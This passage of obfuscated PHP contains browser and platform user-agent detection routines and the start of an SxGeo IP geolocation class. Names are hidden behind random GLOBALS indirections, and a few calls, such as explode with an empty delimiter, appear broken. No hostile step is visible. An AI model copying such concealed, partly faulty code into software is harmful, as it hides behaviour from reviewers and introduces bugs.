",stristr($this->_agent,"mspie"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){$this->setPlatform(self::PLATFORM_WINDOWS_CE);$this->setBrowser(self::BROWSER_POCKET_IE);$this->setMobile(true);if(stripos($this->_agent,"mspie")!==false){$podjhohkuiz="aresult";$this->setVersion(${$podjhohkuiz}[1]);}else{$wirdepkqktlk="aversion";${${"GLOBALS"}["pebetctxk"]}=explode("/",$this->_agent);if(isset(${$wirdepkqktlk}[1])){${"GLOBALS"}["dklylo"]="aversion";$this->setVersion(${${"GLOBALS"}["dklylo"]}[1]);}}return true;}}return false;}protected function checkBrowserOpera(){if(stripos($this->_agent,"opera mini")!==false){${"GLOBALS"}["xpedyaxjs"]="resultant";${${"GLOBALS"}["xpedyaxjs"]}=stristr($this->_agent,"opera mini");if(preg_match("/\//",${${"GLOBALS"}["eqrphioe"]})){${${"GLOBALS"}["plcnnyfw"]}=explode("/",${${"GLOBALS"}["eqrphioe"]});if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){${${"GLOBALS"}["pebetctxk"]}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);$this->setVersion(${${"GLOBALS"}["pebetctxk"]}[0]);}}else{${"GLOBALS"}["jdtmhorhdlyw"]="aversion";${${"GLOBALS"}["pebetctxk"]}=explode(" ",stristr(${${"GLOBALS"}["eqrphioe"]},"opera mini"));if(isset(${${"GLOBALS"}["jdtmhorhdlyw"]}[1])){$this->setVersion(${${"GLOBALS"}["pebetctxk"]}[1]);}}$this->_browser_name=self::BROWSER_OPERA_MINI;$this->setMobile(true);return true;}else if(stripos($this->_agent,"opera")!==false){$dyuczwvaq="resultant";${"GLOBALS"}["whfcrf"]="resultant";${${"GLOBALS"}["eqrphioe"]}=stristr($this->_agent,"opera");if(preg_match("/Version\/(1*.*)\$/",${${"GLOBALS"}["whfcrf"]},${${"GLOBALS"}["vfbftwgcxf"]})){$this->setVersion(${${"GLOBALS"}["vfbftwgcxf"]}[1]);}else if(preg_match("/\//",${$dyuczwvaq})){${"GLOBALS"}["legioamr"]="resultant";${${"GLOBALS"}["plcnnyfw"]}=explode("/",str_replace("("," ",${${"GLOBALS"}["legioamr"]}));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){${${"GLOBALS"}["pebetctxk"]}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);$this->setVersion(${${"GLOBALS"}["pebetctxk"]}[0]);}}else{${"GLOBALS"}["mookvz"]="resultant";$jkyiqdxrfkwj="aversion";${${"GLOBALS"}["pebetctxk"]}=explode(" ",stristr(${${"GLOBALS"}["mookvz"]},"opera"));$this->setVersion(isset(${$jkyiqdxrfkwj}[1])?${${"GLOBALS"}["pebetctxk"]}[1]:"");}if(stripos($this->_agent,"Opera Mobi")!==false){$this->setMobile(true);}$this->_browser_name=self::BROWSER_OPERA;return true;}else if(stripos($this->_agent,"OPR")!==false){${${"GLOBALS"}["eqrphioe"]}=stristr($this->_agent,"OPR");if(preg_match("/\//",${${"GLOBALS"}["eqrphioe"]})){${"GLOBALS"}["ekcccbunnnv"]="aresult";$circqt="resultant";${${"GLOBALS"}["plcnnyfw"]}=explode("/",str_replace("("," ",${$circqt}));if(isset(${${"GLOBALS"}["ekcccbunnnv"]}[1])){${"GLOBALS"}["tcdsigfcvh"]="aversion";$vhoofqnpe="aresult";${${"GLOBALS"}["tcdsigfcvh"]}=explode(" ",${$vhoofqnpe}[1]);$this->setVersion(${${"GLOBALS"}["pebetctxk"]}[0]);}}if(stripos($this->_agent,"Mobile")!==false){$this->setMobile(true);}$this->_browser_name=self::BROWSER_OPERA;return true;}return false;}protected function checkBrowserChrome(){if(stripos($this->_agent,"Chrome")!==false){$iqktxfichju="aresult";${$iqktxfichju}=explode("/",stristr($this->_agent,"Chrome"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){$ttuulketl="aversion";$ltpesaeduli="aresult";${${"GLOBALS"}["pebetctxk"]}=explode(" ",${$ltpesaeduli}[1]);$this->setVersion(${$ttuulketl}[0]);$this->setBrowser(self::BROWSER_CHROME);if(stripos($this->_agent,"Android")!==false){if(stripos($this->_agent,"Mobile")!==false){$this->setMobile(true);}else{$this->setTablet(true);}}return true;}}return false;}protected function checkBrowserWebTv(){if(stripos($this->_agent,"webtv")!==false){${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"webtv"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){$ymopoqn="aresult";${"GLOBALS"}["xzhgrca"]="aversion";${"GLOBALS"}["hsohfhdch"]="aversion";${${"GLOBALS"}["hsohfhdch"]}=explode(" ",${$ymopoqn}[1]);$this->setVersion(${${"GLOBALS"}["xzhgrca"]}[0]);$this->setBrowser(self::BROWSER_WEBTV);return true;}}return false;}protected function checkBrowserNetPositive(){if(stripos($this->_agent,"NetPositive")!==false){$ldwpkruecuo="aresult";${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"NetPositive"));if(isset(${$ldwpkruecuo}[1])){${"GLOBALS"}["onisvy"]="aresult";${"GLOBALS"}["thbfpgjf"]="aversion";${${"GLOBALS"}["thbfpgjf"]}=explode(" ",${${"GLOBALS"}["onisvy"]}[1]);$this->setVersion(str_replace(array("(",")",";"),"",${${"GLOBALS"}["pebetctxk"]}[0]));$this->setBrowser(self::BROWSER_NETPOSITIVE);return true;}}return false;}protected function checkBrowserGaleon(){if(stripos($this->_agent,"galeon")!==false){$vxllkjb="aresult";${"GLOBALS"}["whnvztpf"]="aresult";${"GLOBALS"}["qdrovclerbn"]="aversion";${"GLOBALS"}["jzmfdyvlqzk"]="aversion";${${"GLOBALS"}["whnvztpf"]}=explode(" ",stristr($this->_agent,"galeon"));${${"GLOBALS"}["jzmfdyvlqzk"]}=explode("/",${$vxllkjb}[0]);if(isset(${${"GLOBALS"}["qdrovclerbn"]}[1])){$this->setVersion(${${"GLOBALS"}["pebetctxk"]}[1]);$this->setBrowser(self::BROWSER_GALEON);return true;}}return false;}protected function checkBrowserKonqueror(){if(stripos($this->_agent,"Konqueror")!==false){$zibnmobmy="aversion";${${"GLOBALS"}["plcnnyfw"]}=explode(" ",stristr($this->_agent,"Konqueror"));${${"GLOBALS"}["pebetctxk"]}=explode("/",${${"GLOBALS"}["plcnnyfw"]}[0]);if(isset(${$zibnmobmy}[1])){$this->setVersion(${${"GLOBALS"}["pebetctxk"]}[1]);$this->setBrowser(self::BROWSER_KONQUEROR);return true;}}return false;}protected function checkBrowserIcab(){if(stripos($this->_agent,"icab")!==false){${"GLOBALS"}["ddeseqcei"]="aversion";${${"GLOBALS"}["pebetctxk"]}=explode(" ",stristr(str_replace("/"," ",$this->_agent),"icab"));if(isset(${${"GLOBALS"}["ddeseqcei"]}[1])){$this->setVersion(${${"GLOBALS"}["pebetctxk"]}[1]);$this->setBrowser(self::BROWSER_ICAB);return true;}}return false;}protected function checkBrowserOmniWeb(){if(stripos($this->_agent,"omniweb")!==false){${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"omniweb"));${${"GLOBALS"}["pebetctxk"]}=explode(" ",isset(${${"GLOBALS"}["plcnnyfw"]}[1])?${${"GLOBALS"}["plcnnyfw"]}[1]:"");$this->setVersion(${${"GLOBALS"}["pebetctxk"]}[0]);$this->setBrowser(self::BROWSER_OMNIWEB);return true;}return false;}protected function checkBrowserPhoenix(){if(stripos($this->_agent,"Phoenix")!==false){$elnfvzcqx="aversion";${$elnfvzcqx}=explode("/",stristr($this->_agent,"Phoenix"));${"GLOBALS"}["zdxpykr"]="aversion";if(isset(${${"GLOBALS"}["zdxpykr"]}[1])){$this->setVersion(${${"GLOBALS"}["pebetctxk"]}[1]);$this->setBrowser(self::BROWSER_PHOENIX);return true;}}return false;}protected function checkBrowserFirebird(){if(stripos($this->_agent,"Firebird")!==false){${"GLOBALS"}["rxrtreouh"]="aversion";${${"GLOBALS"}["rxrtreouh"]}=explode("/",stristr($this->_agent,"Firebird"));if(isset(${${"GLOBALS"}["pebetctxk"]}[1])){$this->setVersion(${${"GLOBALS"}["pebetctxk"]}[1]);$this->setBrowser(self::BROWSER_FIREBIRD);return true;}}return false;}protected function checkBrowserNetscapeNavigator9Plus(){${"GLOBALS"}["mderluouj"]="matches";if(stripos($this->_agent,"Firefox")!==false&&preg_match("/Navigator\/([^ ]*)/i",$this->_agent,${${"GLOBALS"}["mderluouj"]})){${"GLOBALS"}["qemcgrdo"]="matches";$this->setVersion(${${"GLOBALS"}["qemcgrdo"]}[1]);$this->setBrowser(self::BROWSER_NETSCAPE_NAVIGATOR);return true;}else if(stripos($this->_agent,"Firefox")===false&&preg_match("/Netscape6?\/([^ ]*)/i",$this->_agent,${${"GLOBALS"}["vfbftwgcxf"]})){$this->setVersion(${${"GLOBALS"}["vfbftwgcxf"]}[1]);$this->setBrowser(self::BROWSER_NETSCAPE_NAVIGATOR);return true;}return false;}protected function checkBrowserShiretoko(){if(stripos($this->_agent,"Mozilla")!==false&&preg_match("/Shiretoko\/([^ ]*)/i",$this->_agent,${${"GLOBALS"}["vfbftwgcxf"]})){$this->setVersion(${${"GLOBALS"}["vfbftwgcxf"]}[1]);$this->setBrowser(self::BROWSER_SHIRETOKO);return true;}return false;}protected function checkBrowserIceCat(){if(stripos($this->_agent,"Mozilla")!==false&&preg_match("/IceCat\/([^ ]*)/i",$this->_agent,${${"GLOBALS"}["vfbftwgcxf"]})){${"GLOBALS"}["tyucvyfnrcu"]="matches";$this->setVersion(${${"GLOBALS"}["tyucvyfnrcu"]}[1]);$this->setBrowser(self::BROWSER_ICECAT);return true;}return false;}protected function checkBrowserNokia(){if(preg_match("/Nokia([^\/]+)\/([^ SP]+)/i",$this->_agent,${${"GLOBALS"}["vfbftwgcxf"]})){$wwnsfonoa="matches";$this->setVersion(${$wwnsfonoa}[2]);if(stripos($this->_agent,"Series60")!==false||strpos($this->_agent,"S60")!==false){$this->setBrowser(self::BROWSER_NOKIA_S60);}else{$this->setBrowser(self::BROWSER_NOKIA);}$this->setMobile(true);return true;}return false;}protected function checkBrowserFirefox(){if(stripos($this->_agent,"safari")===false){if(preg_match("/Firefox[\/ \(]([^ ;\)]+)/i",$this->_agent,${${"GLOBALS"}["vfbftwgcxf"]})){$this->setVersion(${${"GLOBALS"}["vfbftwgcxf"]}[1]);$this->setBrowser(self::BROWSER_FIREFOX);if(stripos($this->_agent,"Android")!==false){if(stripos($this->_agent,"Mobile")!==false){$this->setMobile(true);}else{$this->setTablet(true);}}return true;}else if(preg_match("/Firefox\$/i",$this->_agent,${${"GLOBALS"}["vfbftwgcxf"]})){$this->setVersion("");$this->setBrowser(self::BROWSER_FIREFOX);return true;}}return false;}protected function checkBrowserIceweasel(){if(stripos($this->_agent,"Iceweasel")!==false){${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"Iceweasel"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){$orvxotsmehik="aversion";${$orvxotsmehik}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);$this->setVersion(${${"GLOBALS"}["pebetctxk"]}[0]);$this->setBrowser(self::BROWSER_ICEWEASEL);return true;}}return false;}protected function checkBrowserMozilla(){$wogijcprft="matches";if(stripos($this->_agent,"mozilla")!==false&&preg_match("/rv:[0-9].[0-9][a-b]?/i",$this->_agent)&&stripos($this->_agent,"netscape")===false){${${"GLOBALS"}["pebetctxk"]}=explode(" ",stristr($this->_agent,"rv:"));preg_match("/rv:[0-9].[0-9][a-b]?/i",$this->_agent,${${"GLOBALS"}["pebetctxk"]});$this->setVersion(str_replace("rv:","",${${"GLOBALS"}["pebetctxk"]}[0]));$this->setBrowser(self::BROWSER_MOZILLA);return true;}else if(stripos($this->_agent,"mozilla")!==false&&preg_match("/rv:[0-9]\.[0-9]/i",$this->_agent)&&stripos($this->_agent,"netscape")===false){${"GLOBALS"}["esirvgf"]="aversion";${${"GLOBALS"}["pebetctxk"]}=explode("",stristr($this->_agent,"rv:"));$this->setVersion(str_replace("rv:","",${${"GLOBALS"}["esirvgf"]}[0]));$this->setBrowser(self::BROWSER_MOZILLA);return true;}else if(stripos($this->_agent,"mozilla")!==false&&preg_match("/mozilla\/([^ ]*)/i",$this->_agent,${$wogijcprft})&&stripos($this->_agent,"netscape")===false){$this->setVersion(${${"GLOBALS"}["vfbftwgcxf"]}[1]);$this->setBrowser(self::BROWSER_MOZILLA);return true;}return false;}protected function checkBrowserLynx(){if(stripos($this->_agent,"lynx")!==false){${"GLOBALS"}["rbwgeholq"]="aresult";${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"Lynx"));${"GLOBALS"}["bhwobghyr"]="aversion";${${"GLOBALS"}["pebetctxk"]}=explode(" ",(isset(${${"GLOBALS"}["rbwgeholq"]}[1])?${${"GLOBALS"}["plcnnyfw"]}[1]:""));$this->setVersion(${${"GLOBALS"}["bhwobghyr"]}[0]);$this->setBrowser(self::BROWSER_LYNX);return true;}return false;}protected function checkBrowserAmaya(){if(stripos($this->_agent,"amaya")!==false){${"GLOBALS"}["plwbkqqatqd"]="aresult";${${"GLOBALS"}["plwbkqqatqd"]}=explode("/",stristr($this->_agent,"Amaya"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){$uhlrlukb="aresult";${"GLOBALS"}["fsixri"]="aversion";$btuket="aversion";${$btuket}=explode(" ",${$uhlrlukb}[1]);$this->setVersion(${${"GLOBALS"}["fsixri"]}[0]);$this->setBrowser(self::BROWSER_AMAYA);return true;}}return false;}protected function checkBrowserSafari(){if(stripos($this->_agent,"Safari")!==false&&stripos($this->_agent,"iPhone")===false&&stripos($this->_agent,"iPod")===false){${"GLOBALS"}["rblmpjyscdu"]="aresult";$cilqohn="aresult";${${"GLOBALS"}["rblmpjyscdu"]}=explode("/",stristr($this->_agent,"Version"));if(isset(${$cilqohn}[1])){${"GLOBALS"}["qqzmihski"]="aversion";$ftjdoju="aresult";${"GLOBALS"}["jrywhlfue"]="aversion";${${"GLOBALS"}["qqzmihski"]}=explode(" ",${$ftjdoju}[1]);$this->setVersion(${${"GLOBALS"}["jrywhlfue"]}[0]);}else{$this->setVersion(self::VERSION_UNKNOWN);}$this->setBrowser(self::BROWSER_SAFARI);return true;}return false;}protected function checkBrowserSamsung(){if(stripos($this->_agent,"SamsungBrowser")!==false){${"GLOBALS"}["sluycp"]="aresult";${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"SamsungBrowser"));if(isset(${${"GLOBALS"}["sluycp"]}[1])){$kdmyzfl="aversion";$gqdptbyod="aresult";${$kdmyzfl}=explode(" ",${$gqdptbyod}[1]);$mwltustxd="aversion";$this->setVersion(${$mwltustxd}[0]);}else{$this->setVersion(self::VERSION_UNKNOWN);}$this->setBrowser(self::BROWSER_SAMSUNG);return true;}return false;}protected function checkBrowserSilk(){if(stripos($this->_agent,"Silk")!==false){${"GLOBALS"}["wuvrmf"]="aresult";${${"GLOBALS"}["wuvrmf"]}=explode("/",stristr($this->_agent,"Silk"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){${"GLOBALS"}["nechwel"]="aversion";$jyrvgmbil="aversion";${${"GLOBALS"}["nechwel"]}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);$this->setVersion(${$jyrvgmbil}[0]);}else{$this->setVersion(self::VERSION_UNKNOWN);}$this->setBrowser(self::BROWSER_SILK);return true;}return false;}protected function checkBrowserIframely(){if(stripos($this->_agent,"Iframely")!==false){${${"GLOBALS"}["plcnnyfw"]}=explode("/",stristr($this->_agent,"Iframely"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){$eibcxiac="aversion";${"GLOBALS"}["nwkljn"]="aresult";$dibthuv="aversion";${$dibthuv}=explode(" ",${${"GLOBALS"}["nwkljn"]}[1]);$this->setVersion(${$eibcxiac}[0]);}else{$this->setVersion(self::VERSION_UNKNOWN);}$this->setBrowser(self::BROWSER_I_FRAME);return true;}return false;}protected function checkBrowserCocoa(){if(stripos($this->_agent,"CocoaRestClient")!==false){${"GLOBALS"}["petzhqbr"]="aresult";${${"GLOBALS"}["petzhqbr"]}=explode("/",stristr($this->_agent,"CocoaRestClient"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){${"GLOBALS"}["xlmqttcz"]="aversion";${${"GLOBALS"}["pebetctxk"]}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);$this->setVersion(${${"GLOBALS"}["xlmqttcz"]}[0]);}else{$this->setVersion(self::VERSION_UNKNOWN);}$this->setBrowser(self::BROWSER_COCOA);return true;}return false;}protected function checkFacebookExternalHit(){if(stristr($this->_agent,"FacebookExternalHit")){$this->setRobot(true);$this->setFacebook(true);return true;}return false;}protected function checkForFacebookIos(){if(stristr($this->_agent,"FBIOS")){$this->setFacebook(true);return true;}return false;}protected function getSafariVersionOnIos(){${"GLOBALS"}["suwsewl"]="aresult";${${"GLOBALS"}["suwsewl"]}=explode("/",stristr($this->_agent,"Version"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){${"GLOBALS"}["fgtnftuw"]="aresult";${${"GLOBALS"}["pebetctxk"]}=explode(" ",${${"GLOBALS"}["fgtnftuw"]}[1]);$eujbjuckoe="aversion";$this->setVersion(${$eujbjuckoe}[0]);return true;}return false;}protected function getChromeVersionOnIos(){${"GLOBALS"}["vddwdqe"]="aresult";${"GLOBALS"}["rmfmgvnmw"]="aresult";${${"GLOBALS"}["vddwdqe"]}=explode("/",stristr($this->_agent,"CriOS"));if(isset(${${"GLOBALS"}["rmfmgvnmw"]}[1])){${${"GLOBALS"}["pebetctxk"]}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);${"GLOBALS"}["jbxjkcto"]="aversion";$this->setVersion(${${"GLOBALS"}["jbxjkcto"]}[0]);$this->setBrowser(self::BROWSER_CHROME);return true;}return false;}protected function checkBrowseriPhone(){if(stripos($this->_agent,"iPhone")!==false){$this->setVersion(self::VERSION_UNKNOWN);$this->setBrowser(self::BROWSER_IPHONE);$this->getSafariVersionOnIos();$this->getChromeVersionOnIos();$this->checkForFacebookIos();$this->setMobile(true);return true;}return false;}protected function checkBrowseriPad(){if(stripos($this->_agent,"iPad")!==false){$this->setVersion(self::VERSION_UNKNOWN);$this->setBrowser(self::BROWSER_IPAD);$this->getSafariVersionOnIos();$this->getChromeVersionOnIos();$this->checkForFacebookIos();$this->setTablet(true);return true;}return false;}protected function checkBrowseriPod(){if(stripos($this->_agent,"iPod")!==false){$this->setVersion(self::VERSION_UNKNOWN);$this->setBrowser(self::BROWSER_IPOD);$this->getSafariVersionOnIos();$this->getChromeVersionOnIos();$this->checkForFacebookIos();$this->setMobile(true);return true;}return false;}protected function checkBrowserAndroid(){if(stripos($this->_agent,"Android")!==false){${${"GLOBALS"}["plcnnyfw"]}=explode(" ",stristr($this->_agent,"Android"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){${"GLOBALS"}["axywlrzstzq"]="aresult";${${"GLOBALS"}["pebetctxk"]}=explode(" ",${${"GLOBALS"}["axywlrzstzq"]}[1]);${"GLOBALS"}["gypfvy"]="aversion";$this->setVersion(${${"GLOBALS"}["gypfvy"]}[0]);}else{$this->setVersion(self::VERSION_UNKNOWN);}if(stripos($this->_agent,"Mobile")!==false){$this->setMobile(true);}else{$this->setTablet(true);}$this->setBrowser(self::BROWSER_ANDROID);return true;}return false;}protected function checkBrowserVivaldi(){if(stripos($this->_agent,"Vivaldi")!==false){${"GLOBALS"}["nxhdebxb"]="aresult";${${"GLOBALS"}["nxhdebxb"]}=explode("/",stristr($this->_agent,"Vivaldi"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){${"GLOBALS"}["qcousbtz"]="aversion";${"GLOBALS"}["krlknnfcvi"]="aresult";${${"GLOBALS"}["qcousbtz"]}=explode(" ",${${"GLOBALS"}["krlknnfcvi"]}[1]);${"GLOBALS"}["usxuewdmwqm"]="aversion";$this->setVersion(${${"GLOBALS"}["usxuewdmwqm"]}[0]);$this->setBrowser(self::BROWSER_VIVALDI);return true;}}return false;}protected function checkBrowserYandex(){if(stripos($this->_agent,"YaBrowser")!==false){${"GLOBALS"}["rpbfefn"]="aresult";${${"GLOBALS"}["rpbfefn"]}=explode("/",stristr($this->_agent,"YaBrowser"));if(isset(${${"GLOBALS"}["plcnnyfw"]}[1])){${${"GLOBALS"}["pebetctxk"]}=explode(" ",${${"GLOBALS"}["plcnnyfw"]}[1]);$njkhkp="aversion";$this->setVersion(${$njkhkp}[0]);$this->setBrowser(self::BROWSER_YANDEX);if(stripos($this->_agent,"iPad")!==false){$this->setTablet(true);}elseif(stripos($this->_agent,"Mobile")!==false){$this->setMobile(true);}elseif(stripos($this->_agent,"Android")!==false){$this->setTablet(true);}return true;}}return false;}protected function checkBrowserPlayStation(){if(stripos($this->_agent,"PlayStation ")!==false){${${"GLOBALS"}["plcnnyfw"]}=explode(" ",stristr($this->_agent,"PlayStation "));$this->setBrowser(self::BROWSER_PLAYSTATION);if(isset(${${"GLOBALS"}["plcnnyfw"]}[0])){${"GLOBALS"}["rbgtcusxl"]="aversion";${${"GLOBALS"}["rbgtcusxl"]}=explode(")",${${"GLOBALS"}["plcnnyfw"]}[2]);$this->setVersion(${${"GLOBALS"}["pebetctxk"]}[0]);if(stripos($this->_agent,"Portable)")!==false||stripos($this->_agent,"Vita")!==false){$this->setMobile(true);}return true;}}return false;}protected function checkPlatform(){if(stripos($this->_agent,"windows")!==false){$this->_platform=self::PLATFORM_WINDOWS;}else if(stripos($this->_agent,"iPad")!==false){$this->_platform=self::PLATFORM_IPAD;}else if(stripos($this->_agent,"iPod")!==false){$this->_platform=self::PLATFORM_IPOD;}else if(stripos($this->_agent,"iPhone")!==false){$this->_platform=self::PLATFORM_IPHONE;}elseif(stripos($this->_agent,"mac")!==false){$this->_platform=self::PLATFORM_APPLE;}elseif(stripos($this->_agent,"android")!==false){$this->_platform=self::PLATFORM_ANDROID;}elseif(stripos($this->_agent,"Silk")!==false){$this->_platform=self::PLATFORM_FIRE_OS;}elseif(stripos($this->_agent,"linux")!==false&&stripos($this->_agent,"SMART-TV")!==false){$this->_platform=self::PLATFORM_LINUX."/".self::PLATFORM_SMART_TV;}elseif(stripos($this->_agent,"linux")!==false){$this->_platform=self::PLATFORM_LINUX;}else if(stripos($this->_agent,"Nokia")!==false){$this->_platform=self::PLATFORM_NOKIA;}else if(stripos($this->_agent,"BlackBerry")!==false){$this->_platform=self::PLATFORM_BLACKBERRY;}elseif(stripos($this->_agent,"FreeBSD")!==false){$this->_platform=self::PLATFORM_FREEBSD;}elseif(stripos($this->_agent,"OpenBSD")!==false){$this->_platform=self::PLATFORM_OPENBSD;}elseif(stripos($this->_agent,"NetBSD")!==false){$this->_platform=self::PLATFORM_NETBSD;}elseif(stripos($this->_agent,"OpenSolaris")!==false){$this->_platform=self::PLATFORM_OPENSOLARIS;}elseif(stripos($this->_agent,"SunOS")!==false){$this->_platform=self::PLATFORM_SUNOS;}elseif(stripos($this->_agent,"OS\/2")!==false){$this->_platform=self::PLATFORM_OS2;}elseif(stripos($this->_agent,"BeOS")!==false){$this->_platform=self::PLATFORM_BEOS;}elseif(stripos($this->_agent,"win")!==false){$this->_platform=self::PLATFORM_WINDOWS;}elseif(stripos($this->_agent,"Playstation")!==false){$this->_platform=self::PLATFORM_PLAYSTATION;}elseif(stripos($this->_agent,"Roku")!==false){$this->_platform=self::PLATFORM_ROKU;}elseif(stripos($this->_agent,"iOS")!==false){$this->_platform=self::PLATFORM_IPHONE."/".self::PLATFORM_IPAD;}elseif(stripos($this->_agent,"tvOS")!==false){$this->_platform=self::PLATFORM_APPLE_TV;}elseif(stripos($this->_agent,"curl")!==false){$this->_platform=self::PLATFORM_TERMINAL;}elseif(stripos($this->_agent,"CrOS")!==false){$this->_platform=self::PLATFORM_CHROME_OS;}elseif(stripos($this->_agent,"okhttp")!==false){$this->_platform=self::PLATFORM_JAVA_ANDROID;}elseif(stripos($this->_agent,"PostmanRuntime")!==false){$this->_platform=self::PLATFORM_POSTMAN;}elseif(stripos($this->_agent,"Iframely")!==false){$this->_platform=self::PLATFORM_I_FRAME;}}}define("SXGEO_FILE",0);define("SXGEO_MEMORY",1);define("SXGEO_BATCH",2);class SxGeo{protected$fh;protected$ip1c;protected$info;protected$range;protected$db_begin;protected$b_idx_str;protected$m_idx_str;protected$b_idx_arr;protected$m_idx_arr;protected$m_idx_len;protected$db_items;protected$country_size;protected$db;protected$regions_db;protected$cities_db;public$id2iso=array('','AP','EU','AD','AE','AF','AG','AI','AL','AM','CW','AO','AQ','AR','AS','AT','AU','AW','AZ','BA','BB','BD','BE','BF','BG','BH','BI','BJ','BM','BN','BO','BR','BS','BT','BV','BW','BY','BZ','CA','CC','CD','CF','CG','CH','CI','CK','CL','CM','CN','CO','CR','CU','CV','CX','CY','CZ','DE','DJ','DK','DM','DO','DZ','EC','EE','EG','EH','ER','ES','ET','FI','FJ','FK','FM','FO','FR','SX','GA','GB','GD','GE','GF','GH','GI','GL','GM','GN','GP','GQ','GR','GS','GT','GU','GW','GY','HK','HM','HN','HR','HT','HU','ID','IE','IL','IN','IO','IQ','IR','IS','IT','JM','JO','JP','KE','KG','KH','KI','KM','KN','KP','KR','KW','KY','KZ','LA','LB','LC','LI','LK','LR','LS','LT','LU','LV','LY','MA','MC','MD','MG','MH','MK','ML','MM','MN','MO','MP','MQ','MR','MS','MT','MU','MV','MW','MX','MY','MZ','NA','NC','NE','NF','NG','NI','NL','NO','NP','NR','NU','NZ','OM','PA','PE','PF','PG','PH','PK','PL','PM','PN','PR','PS','PT','PW','PY','QA','RE','RO','RU','RW','SA','SB','SC','SD','SE','SG','SH','SI','SJ','SK','SL','SM','SN','SO','SR','ST','SV','SY','SZ','TC','TD','TF','TG','TH','TJ','TK','TM','TN','TO','TL','TR','TT','TV','TW','TZ','UA','UG','UM','US','UY','UZ','VA','VC','VE','VG','VI','VN','VU','WF','WS','YE','YT','RS','ZA','ZM','ME','ZW','A1','XK','O1','AX','GG','IM','JE','BL','MF','BQ','SS');public$batch_mode=false;public$memory_mode=false;public function __construct($db_file='SxGeo.dat',$type=SXGEO_FILE){${"GLOBALS"}["awyaphssl"]="info";${"GLOBALS"}["wtfqjdd"]="header";$wqhjjnp="info";$this->fh=fopen(${${"GLOBALS"}["irjkysswbju"]},"rb");$wkkpewxt="info";${${"GLOBALS"}["wtfqjdd"]}=fread($this->fh,40);${"GLOBALS"}["ervxqgpxsw"]="info";$tvdygrpkgg="info";if(substr(${${"GLOBALS"}["trrwekoak"]},0,3)!="SxG")die("Can't open {$db_file}
");${"GLOBALS"}["hoenvyu"]="info";${${"GLOBALS"}["awyaphssl"]}=unpack("Cver/Ntime/Ctype/Ccharset/Cb_idx_len/nm_idx_len/nrange/Ndb_items/Cid_len/nmax_region/nmax_city/Nregion_size/Ncity_size/nmax_country/Ncountry_size/npack_size",substr(${${"GLOBALS"}["trrwekoak"]},3));$ybnotuye="info";if(${${"GLOBALS"}["rzurnbudbq"]}["b_idx_len"]*${${"GLOBALS"}["rzurnbudbq"]}["m_idx_len"]*${$wkkpewxt}["range"]*${${"GLOBALS"}["rzurnbudbq"]}["db_items"]*${$ybnotuye}["time"]*${${"GLOBALS"}["hoenvyu"]}["id_len"]==0)die("Wrong file format {$db_file}
");$this->range=${${"GLOBALS"}["rzurnbudbq"]}["range"];$this->b_idx_len=${${"GLOBALS"}["rzurnbudbq"]}["b_idx_len"];$this->m_idx_len=${$wqhjjnp}["m_idx_len"];$this->db_items=${${"GLOBALS"}["rzurnbudbq"]}["db_items"];$this->id_len=${$tvdygrpkgg}["id_len"];$this->block_len=3+$this->id_len;${"GLOBALS"}["jacfkpfnyv"]="info";$this->max_region=${${"GLOBALS"}["rzurnbudbq"]}["max_region"];$this->max_city=${${"GLOBALS"}["rzurnbudbq"]}["max_city"];$this->max_country=${${"GLOBALS"}["rzurnbudbq"]}["max_country"];$this->country_size=${${"GLOBALS"}["rzurnbudbq"]}["country_size"];$this->batch_mode=${${"GLOBALS"}["laycjvc"]}&SXGEO_BATCH;$this->memory_mode=${${"GLOBALS"}["laycjvc"]}&SXGEO_MEMORY;$this->pack=${${"GLOBALS"}["rzurnbudbq"]}["pack_size"]?explode("",fread($this->fh,${${"GLOBALS"}["ervxqgpxsw"]}["pack_size"])):"";$this->b_idx_str=fread($this->fh,${${"GLOBALS"}["rzurnbudbq"]}["b_idx_len"]*4);$this->m_idx_str=fread($this->fh,${${"GLOBALS"}["rzurnbudbq"]}["m_idx_len"]*4);$this->db_begin=ftell($this->fh);if($this->batch_mode){$this->b_idx_arr=array_values(unpack("N*",$this->b_idx_str));unset($this->b_idx_str);$this->m_idx_arr=str_split($this->m_idx_str,4);unset($this->m_idx_str);}if($this->memory_mode){${"GLOBALS"}["kklbwea"]="info";$swwhmkqwsd="info";$this->db=fread($this->fh,$this->db_items*$this->block_len);$xfodggvvlcl="info";$this->regions_db=${${"GLOBALS"}["rzurnbudbq"]}["region_size"]>0?fread($this->fh,${${"GLOBALS"}["kklbwea"]}["region_size"]):"";$this->cities_db=${$swwhmkqwsd}["city_size"]>0?fread($this->fh,${$xfodggvvlcl}["city_size"]):"";}$this->info=${${"GLOBALS"}["rzurnbudbq"]};$this->info["regions_begin"]=$this->db_begin+$this->db_items*$this->block_len;$this->info["cities_begin"]=$this->info["regions_begin"]+${${"GLOBALS"}["jacfkpfnyv"]}["region_size"];}protected function 